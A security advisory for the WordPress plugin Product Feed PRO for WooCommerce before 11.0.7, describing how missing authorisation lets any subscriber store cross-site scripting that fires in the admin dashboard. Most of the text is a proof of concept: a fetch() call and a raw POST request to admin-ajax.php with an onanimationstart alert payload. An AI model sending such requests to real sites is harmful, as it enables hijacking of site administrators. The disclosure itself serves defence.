Product Feed PRO for WooCommerce < 11.0.7 - Subscriber+ Settings Update to Stored XSS

The plugin does not have authorisation and CSRF check in some of its AJAX actions, allowing any authenticated users to call then, which could lead to Stored Cross-Site Scripting issue (which will be triggered in the admin dashboard) due to the lack of escaping. v10.9.1 added a CSRF check, however authorisation was still missing until 11.0.7

PoC

fetch(“https://example.com/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “body”: “action=woosea_add_attributes&attribute;_name=x&attribute;_value='" style=animation-name:blinker onanimationstart=alert(1) x=&active;=true”, “method”: “POST” }); POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate content-type: application/x-www-form-urlencoded Content-Length: 138 Connection: close Cookie: [any authenticated user] action=woosea_add_attributes&attribute;_name=x&attribute;_value='"+style=animation-name:blinker+onanimationstart=alert(/XSS/)+x=&active;=true The XSS will be triggered when creating a feed (at the second step/page)